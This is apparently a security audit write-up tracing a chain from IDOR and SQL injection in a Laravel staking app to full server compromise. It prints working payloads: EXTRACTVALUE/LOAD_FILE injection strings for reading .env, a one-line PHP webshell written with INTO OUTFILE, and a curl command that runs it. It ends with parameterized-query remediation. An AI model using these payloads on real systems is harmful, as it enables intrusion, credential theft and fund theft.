From IDOR to Root Shell — How a Missing WHERE Clause Gave Up an Entire Server

A missing parameter binding in a Laravel raw query led to full server compromise: SQLi → LOAD_FILE .env → phpMyAdmin root → INTO OUTFILE webshell → RCE → private key.

2026-01-28sqlircelaravelphpmyadminidorevm

During a recent security audit of an EVM staking platform, I found a SQL injection that shouldn't have existed. Not because the framework didn't support parameterized queries — Laravel's Eloquent ORM does — but because the developer chose to concatenate user input directly into a raw query. That single shortcut led to a full kill chain: database credentials, phpMyAdmin root access, webshell deployment, and complete server compromise with private key extraction.

The most interesting part wasn't the SQLi itself. It was how the entire chain unlocked — each step making the next one possible, like dominoes falling across every security layer.


The Setup

The application had 15 API endpoints. None of them checked authentication — they all trusted a user_id field sent in the POST body. That alone was a critical finding (full IDOR), but it also meant I could send whatever I wanted in user_id without any auth friction.

So I sent a single quote.

The Injection

POST /api/dashboard
{"user_id": "1'", "type": "API"}

500 error. But not a clean 500 — a 65KB Symfony VarDumper stack trace. Debug mode was ON in production. The error showed the raw SQL query with my input concatenated directly:

SELECT ... FROM users WHERE sponser_id = '1''

Classic error-based SQLi. No prepared statements. Direct string concatenation. On a Laravel app that has DB::select() with parameter binding built in.

The Extraction Technique

MariaDB 10.6 with EXTRACTVALUE for error-based extraction:

user_id = 1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database()),0x7e))

Returns an XPATH error containing the query result: ~[database]~. Beautiful, clean, 30-character extraction per request.

But the real prize was LOAD_FILE(). The MySQL user was root with FILE privilege and secure_file_priv set to empty string (no restrictions). I could read any file the mysql user could access:

user_id = 1 AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING(LOAD_FILE('/var/www/app/.env'),1,30),0x7e))

The .env file came out 30 bytes at a time. 45 chunks later, I had the complete file: database password, Laravel APP_KEY, and a Slack webhook URL.

The Pivot to phpMyAdmin

Armed with the database password from .env, I logged into phpMyAdmin — which was publicly accessible on the admin subdomain with no IP restriction. Root access to MariaDB. Six databases visible.

The question became: how to turn database access into code execution?

INTO OUTFILE was the path. MySQL root can write files anywhere secure_file_priv allows — and it was empty. But there was a catch: the mysql user couldn't write to /var/www/app/public/ (owned by root, permissions 755).

I tried:

  • /var/www/html/ — permission denied
  • /usr/share/phpmyadmin/ — permission denied
  • /tmp/ — writable but not web-accessible

Then I tried Laravel's storage directory:

SELECT '<?php echo shell_exec($_GET["d"]); ?>'
INTO OUTFILE '/var/www/app/storage/app/public/document/shell.php';

It worked. The storage/ directory was owned by www-data with 777 permissions (Laravel needs write access for cache, logs, and uploads). And the admin subdomain had a symlink from its document root into storage:

/var/www/html/storage → /var/www/app/storage/app/public

One GET request confirmed it:

curl "https://admin.target.com/storage/document/shell.php?d=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)

What Fell After

With a shell, the server gave up everything:

  • Origin IPip addr revealed the real server IP behind Cloudflare. The team thought they were hidden behind the CDN.
  • Private keys — a raw Ethereum private key in a .env file under a backend service directory. This key signs pool reward distribution transactions. Direct fund theft was possible.
  • 6 backend services — Node.js processes running as root: auto-withdrawal system, swap/AMM listener, price feed, event listeners. All source code extracted.
  • Redis with no password — 23,000+ keys including a Bull.js swap queue. Inject a malicious job = forge a swap.
  • Every user's data — 1,199 accounts with wallet addresses, MD5 password hashes (trivially reversible since password = md5(wallet_address)), staking positions, and transaction hashes.

The Real Lesson

This kill chain started with a missing parameter binding. One line of code. The developer wrote:

// What they wrote (vulnerable)
$users = DB::select("SELECT * FROM users WHERE sponser_id = '$user_id'");

Instead of:

// What they should have written (safe)
$users = DB::select("SELECT * FROM users WHERE sponser_id = ?", [$user_id]);

That one decision — string concatenation over parameter binding — turned a read-only data leak into:

IDOR → SQLi → LOAD_FILE → .env → DB root → INTO OUTFILE → webshell → RCE
→ private key → fund theft capability

Every subsequent layer of defense was absent: no authentication on API endpoints, debug mode on in production, phpMyAdmin publicly exposed, MySQL root with unrestricted FILE privilege, storage directory world-writable with a web-accessible symlink, private keys in plaintext files, backend services running as root.

But if that one query had used a ? instead of '$user_id', none of the rest would have been reachable.

Parameterize your queries. It's not optional. It's the difference between a data leak and losing your entire server.


Finding discovered during an authorized security audit. The vulnerability was reported with a detailed remediation plan. No real user funds were affected — the private key extraction was documented but not used for transactions.